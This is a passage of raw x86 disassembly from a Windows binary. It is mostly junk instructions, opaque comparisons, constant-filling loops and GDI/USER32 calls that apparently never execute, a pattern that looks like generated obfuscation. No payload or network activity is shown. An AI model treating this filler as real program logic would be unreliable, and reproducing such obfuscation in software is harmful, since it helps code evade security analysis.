je 0x45ddee
mov eax, dword [ebp - 0xd40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xe588
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x45de0e
cmp dword [ebp - 0x40], eax
je 0x45de0e
xor ebx, ebx
inc ebx
mov eax, ebx
jmp 0x45de11
xor ebx, ebx
inc ebx
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x45de20
cmp dword [ebp - 0x40], eax
je 0x45de22
mov eax, ebx
xor ecx, ecx
cmp ecx, eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x40]
test eax, eax
je 0x45de3c
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x45de3e
mov eax, ebx
jmp 0x45de3e
xor eax, eax
mov dword [ebp - 0x2c], eax
mov edx, 0x96dd1e1e
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0xb4]
cmp dword [ebp - 0xb4], 0xfffffff5
push 0
pop eax
jle 0x45d629
mov dword [ebp - 0x28], 0x3623
mov dword [ebp - 0x3c], 0x3af7
mov dword [ebp - 0x40], 0xb622b607
mov dword [ebp - 0x2c], 3
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x45de9b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xfc], 0xfffffff9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x45de83
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x45debd
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x26c], 0x7632667a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x45dea4
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x45dedf
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x658], 0xaba8d6e8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x45dec6
xor eax, eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], ebx
jge 0x45df0e
mov eax, dword [ebp - 0x264]
mov dword [ebp + eax*4 - 0xfc], 0xcd795364
inc dword [ebp - 0x264]
cmp dword [ebp - 0x264], ebx
jl 0x45deed
xor eax, eax
cmp dword [ebp - 0xfc], eax
je 0x45df78
inc dword [ebp - 0x40]
xor edx, edx
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x40]
add ecx, eax
mov eax, dword [ebp - 0x264]
cmp eax, ecx
mov eax, dword [ebp - 0x40]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0xfc], ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x658], ebx
mov eax, dword [ebp - 0x658]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x264]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xfc]
mov eax, ebx
xor edx, edx
cmp eax, 0xfff8
mov eax, dword [ebp - 0x264]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ebx, ecx
mov ecx, dword [ebp - 0x3c]
sbb eax, eax
neg eax
imul ecx, eax
mov eax, 0xcd4d3380
sub ecx, dword [ebp - 0x264]
neg ecx
sbb ecx, ecx
inc ecx
cmp eax, ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x264], eax
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x45dfe6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe4], 0xf2f4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x45dfce
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x45e006
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xcf8], 0x4f31bc46
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x45dfee
xor eax, eax
mov dword [ebp - 0x14], 0xfffffffd
jmp 0x45e17a
mov dword [ebp - 0xc], 0x256a9ef7
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0x600ac80e
mov dword [ebp - 0x3c], 0xac77acae
mov dword [ebp - 0x34], 0x6747b1d0
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], eax
jl 0x45e153
mov dword [ebp - 0x24], 8
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x170], 0xfc9aeb9d
mov dword [ebp - 0x16c], 0xfc9aeb9d
mov dword [ebp - 0x168], 0xfc9aeb9d
mov dword [ebp - 0x164], 0xfc9aeb9d
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x45e095
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x105c], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x45e07c
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x45e14a
push 3
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x45e0ba
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe20], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x45e0a9
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xe4]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
push 0
mov eax, dword [ebp + eax*4 - 0xe4]
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 0x360d
setge al
cmp ebx, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0x7413
mov eax, dword [ebp - 0xe4]
setl cl
xor edx, edx
imul ecx, ecx, 0xe2db
cmp ecx, eax
setge dl
mov dword [ebp - 0xe18], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x3c], ebx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0x40], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x40]
cmp eax, 0xe434
pop eax
setl cl
mov dword [ebp - 0x34], ecx
dec dword [ebp - 0x24]
jns 0x45e0a1
dec dword [ebp - 0xc]
jns 0x45e03d
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x2c], 0xaf57
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x3c]
sub ecx, eax
add ecx, dword [ebp - 0x40]
push 0
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], 0x1a
je 0x45e012
xor eax, eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x45e1a9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd04], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x45e191
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x45e1cf
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45e1cc
push 0xc55
push 0x1f49
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x45e1ae
mov dword [ebp - 0x2c], 0x810d21df
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x45e204
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8c], 0xf782
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x45e1eb
xor eax, eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45e219
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
mov eax, dword [ebp - 0x88]
xor edx, edx
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
cmp ecx, eax
setg dl
cmp edx, dword [ebp - 0x8c]
jle 0x45e258
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x8c]
xor edx, edx
mov eax, dword [ebp - 0x88]
cmp ecx, eax
setl dl
mov dword [ebp - 0x2c], edx
xor edx, edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
cmp ecx, eax
mov eax, 0x96dd1e1e
setle dl
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], eax
mov dword [ebp - 0x868], eax
mov dword [ebp - 0x864], eax
xor eax, eax
mov dword [ebp - 0x30], 0xd6c05baf
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x45e2d5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1274], 0xb4074dd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x45e2bc
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
pop edx
cmp dword [ebp - 0x14], edx
jge 0x45e2f8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd1c], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x45e2e0
xor eax, eax
push 2
mov dword [ebp - 0x30], eax
pop ecx
cmp dword [ebp - 0x30], 0x11
jl 0x45e35c
mov dword [ebp - 0x28], 0xd3c891c5
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], 0x2121f90e
mov dword [ebp - 0x28], 0x32cf415d
mov dword [ebp - 0x28], 0x5720b963
mov dword [ebp - 0x28], 0xec3203bd
mov dword [ebp - 0x28], 0xd49598aa
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x45e351
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf6c], 0xfffffff9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x45e339
xor eax, eax
dec dword [ebp - 0xd1c]
inc dword [ebp - 0x30]
jmp 0x45e2fe
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x2c], 0xd13bce8
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x45e38f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1b8], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x45e377
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x45e3af
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd5c], 0xf6328da4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x45e397
xor eax, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x70], 0xcc70
mov dword [ebp - 0x40], 0x2bb2c593
cmp dword [ebp - 0x1c], eax
jl 0x45e6b0
push 5
pop esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x30], 0xc46158e9
mov dword [ebp - 0x38], 9
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x45e3fd
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x25c], 0xa445a8cc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x45e3e5
xor eax, eax
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], eax
jl 0x45e59e
mov esi, dword [ebp - 0x70]
mov dword [ebp - 0x24], 0xfc0272a
mov dword [ebp - 0x20], 0xe4879289
mov dword [ebp - 0x930], esi
mov dword [ebp - 0x92c], esi
mov dword [ebp - 0x928], esi
mov dword [ebp - 0x924], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x45e452
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xaec], 0x2f1e5c8a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x45e43a
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x45e472
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc60], 0x3728
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x45e45a
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jg 0x45e595
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x45e49e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa78], 0x8e56a96d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x45e486
xor eax, eax
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0xae8], ecx
mov dword [ebp - 0x258], ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xae8]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x1b8]
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x45e4cd
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp eax, ebx
setl cl
neg ecx
sub ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
sub ecx, dword [ebp - 0x1b4]
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x1b8]
mov eax, dword [ebp - 8]
cmp eax, 0xffffffff
setg dl
sub edx, ecx
neg edx
sbb edx, edx
add edx, 0xffffca5b
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 9
setle al
sub eax, dword [ebp - 0x10]
jne 0x45e527
mov edx, eax
cmp dword [ebp - 0xc60], eax
je 0x45e529
mov edx, ebx
mov eax, dword [ebp - 0x1b8]
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
cmp ecx, 0x3e4f
jle 0x45e54a
mov edx, ebx
cmp dword [ebp - 0x258], eax
jne 0x45e54c
mov edx, eax
mov eax, dword [ebp - 0x10]
xor ecx, ecx
push 2
mov eax, dword [ebp + eax*4 - 0x1b8]
cmp eax, edx
setle cl
mov dword [ebp - 0xa78], ecx
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp + eax*4 - 0x1b8]
mov eax, dword [ebp - 0x92c]
imul edx, ecx
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x30], ecx
inc dword [ebp - 0x24]
pop ecx
push 0
pop eax
cmp dword [ebp - 0x24], ecx
jle 0x45e47e
push 3
pop edx
dec dword [ebp - 0x10]
jns 0x45e40c
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
neg esi
mov eax, dword [ebp - 0x258]
mov eax, dword [ebp - 0x1c]
sbb esi, esi
xor edx, edx
neg esi
mov ecx, dword [ebp + eax*4 - 0x1b8]
mov eax, dword [ebp - 0x1b4]
sub ecx, eax
mov eax, dword [ebp - 0x258]
cmp ecx, eax
mov eax, dword [ebp - 8]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, 0xcafa
setne al
sub eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x25c]
jge 0x45e5ff
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x45e601
mov eax, ebx
jmp 0x45e601
xor eax, eax
mov dword [ebp - 0x25c], eax
xor edx, edx
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov eax, dword [ebp - 0x1b0]
imul ecx, eax
sub ecx, dword [ebp - 0x30]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
setg dl
xor eax, eax
cmp esi, edx
jg 0x45e635
mov ecx, ebx
cmp dword [ebp - 0x30], eax
jne 0x45e637
mov ecx, eax
mov eax, dword [ebp - 0x1c]
push 0
mov eax, dword [ebp + eax*4 - 0x1b8]
add eax, ecx
sub eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x10]
neg edx
sbb edx, edx
xor eax, eax
add edx, 8
cmp edx, 0xfffffff7
setne al
xor ecx, ecx
cmp eax, 0xdef0
setle cl
mov dword [ebp - 0xd5c], ecx
mov dword [ebp - 0x10], ecx
imul eax, dword [ebp - 0x10], 0xffff
mov dword [ebp - 0xc], eax
dec dword [ebp - 0x1c]
pop eax
push 2
pop ecx
push 3
pop edx
jns 0x45e3c9
mov esi, dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0xc], ebx
cmp dword [ebp - 0xc], eax
jl 0x45e6f4
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45e6ef
push 0x613
push eax
push 0x900
push 0xcf2
push 0xa7e
push eax
push 0x25f7
push 0x2053
call edi
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_DrawIconEx]
xor eax, eax
dec dword [ebp - 0xc]
jns 0x45e6b8
push 3
mov dword [ebp - 8], eax
pop ecx
cmp dword [ebp - 8], ecx
jge 0x45e713
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x560], ebx
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x45e6ff
xor eax, eax
mov dword [ebp - 0x2c], 0x689bb5c
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 2
jge 0x45e73c
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xa4], 9
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x45e723
xor eax, eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0xfffffff5
jg 0x45e89e
mov dword [ebp - 0x1c], 0x60f7e730
mov dword [ebp - 0x3c], 0xffff
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x45e782
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa88], 4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x45e769
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x45e798
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd6c], 0x832cb818
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x45e787
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0xa88], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xa0]
sub edx, eax
mov eax, dword [ebp - 0xa4]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0xa4]
setne cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0xa0]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
sete dl
xor ebx, ebx
cmp edx, eax
setl bl
xor ecx, ecx
imul ebx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ebx, eax
mov eax, dword [ebp - 0xd64]
setl cl
xor edx, edx
imul ecx, ecx, 0xcf6a
cmp ecx, eax
setne dl
neg edx
mov dword [ebp - 0xd64], edx
je 0x45e82f
mov eax, dword [ebp - 0xd64]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xe588
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x45e84f
cmp dword [ebp - 0x3c], eax
je 0x45e84f
xor ebx, ebx
inc ebx
mov eax, ebx
jmp 0x45e852
xor ebx, ebx
inc ebx
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x45e861
cmp dword [ebp - 0x3c], eax
je 0x45e863
mov eax, ebx
xor ecx, ecx
cmp ecx, eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x3c]
test eax, eax
je 0x45e87d
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x45e87f
mov eax, ebx
jmp 0x45e87f
xor eax, eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0xa4]
cmp dword [ebp - 0xa4], 0xfffffff5
push 0
pop eax
jle 0x45e74f
push 3
pop ecx
mov dword [ebp - 0x868], eax
mov edx, 0x69f4288a
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 8], 0x92e3f915
mov dword [ebp - 0x28], 0x1826
mov dword [ebp - 0x20], 0xfeee83ad
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0xc], 0xfffffffa
cmp dword [ebp - 0xc], 0xfffffff6
jne 0x45e9b4
jmp 0x45e8de
push 3
pop ecx
mov dword [ebp - 0x42c], edx
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x424], edx
mov dword [ebp - 0x420], edx
mov dword [ebp - 0x14], 0xa1836ccb
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jg 0x45e981
mov dword [ebp - 0x2c], 0xfffffffe
xor ebx, ebx
mov eax, dword [ebp - 0x14]
push 3
mov eax, dword [ebp + eax*4 - 0x42c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x42c]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + eax*4 - 0x42c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x42c]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
sete bl
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x42c]
mov eax, dword [ebp - 0xc]
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0xc]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp ebx, edx
setg al
xor ebx, ebx
mov dword [ebp - 0x2c], eax
inc ebx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x42c]
mov dword [ebp - 8], ebx
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], eax
jle 0x45e905
xor eax, eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x45e9a2
push 0x12ee
push 0xb03
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
xor eax, eax
dec dword [ebp - 0xc]
mov edx, 0x69f4288a
cmp dword [ebp - 0xc], 0xfffffff6
je 0x45e8db
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 8]
cmp eax, 0xffffffff
setl cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 8]
mov dword [ebp - 8], ebx
mov dword [ebp - 0x558], 0xfffffff8
jmp 0x45f20b
mov dword [ebp - 0x1c], 0x3ae35568
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x18], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x24], 0x2138
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x34], 0x92f9
mov dword [ebp - 0x2c], 0x6c5b50a7
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffffe
jg 0x45ebd8
mov dword [ebp - 0x3c], 0x659d568d
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x20], 0xe60a2fc5
mov dword [ebp - 8], eax
cmp dword [ebp - 8], ebx
jge 0x45ea4b
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x64], 0xffff
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x45ea36
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x45eac4
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x30]
cmp eax, 0xab79
mov eax, dword [ebp - 0x1c]
setg dl
sub edx, 0xcbae
neg edx
push 0xfffffffffffffffb
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
xor edx, edx
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setle dl
add eax, edx
sub eax, dword [ebp - 0x64]
neg eax
pop ecx
sbb eax, eax
inc eax
cmp ecx, eax
mov eax, dword [ebp - 0x18]
sbb ecx, ecx
xor edx, edx
neg ecx
sub ecx, eax
mov eax, dword [ebp - 0x1c]
sub ecx, 0x67f6a191
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 8], ecx
cmp dword [ebp - 0x18], eax
je 0x45eacb
mov ecx, ebx
cmp dword [ebp - 0x24], eax
jne 0x45eacd
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x10], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
test eax, eax
setg cl
sub ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
inc ecx
add ecx, dword [ebp - 0x3c]
xor eax, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0xc], eax
jmp 0x45ebbe
mov dword [ebp - 0x14], 0xcc414254
mov ecx, eax
cmp dword [ebp - 0x14], eax
je 0x45eb14
mov ecx, ebx
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x64]
test ecx, ecx
mov eax, dword [ebp - 0x64]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x34]
setge cl
xor edx, edx
cmp ecx, 4
setne dl
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
mov dword [ebp - 8], ecx
cmp dword [ebp - 0x30], eax
je 0x45eb76
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x24]
je 0x45eb74
mov edx, ebx
jmp 0x45eb78
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x64]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x64]
push 0
setg cl
sub ecx, eax
dec ecx
mov dword [ebp - 0x10], ecx
mov ecx, 0xfcb68b63
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
sub ecx, eax
mov eax, 0xfffa
cmp eax, ecx
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x8303
pop eax
setge cl
sub ecx, 0x5eac
mov dword [ebp - 8], ecx
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffeb
jne 0x45eb04
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffe
push 0
pop eax
jle 0x45ea19
cmp dword [ebp - 0x10], eax
jne 0x45ebe4
mov edx, eax
cmp dword [ebp - 0xc], eax
je 0x45ebe6
mov edx, ebx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
push 3
sete cl
xor edx, edx
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0x2c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge cl
xor edx, edx
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x10]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
add edx, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0xc]
pop edx
sub edx, eax
add edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 8], ecx
mov dword [ebp - 0x18], 0xfffffff9
mov dword [ebp - 0xc], 0xfffffff7
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 4
jge 0x45ec80
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xf64], 0xdfc1
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x45ec67
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 9
